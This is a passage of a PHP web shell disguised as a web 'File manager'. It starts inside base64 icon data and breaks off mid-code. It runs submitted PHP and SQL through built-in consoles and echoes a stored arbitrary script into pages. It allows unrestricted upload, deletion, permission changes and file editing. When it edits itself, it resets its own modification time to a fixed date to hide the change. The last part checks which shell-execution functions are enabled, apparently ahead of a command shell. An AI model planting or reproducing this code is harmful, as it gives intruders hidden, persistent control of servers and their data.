4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
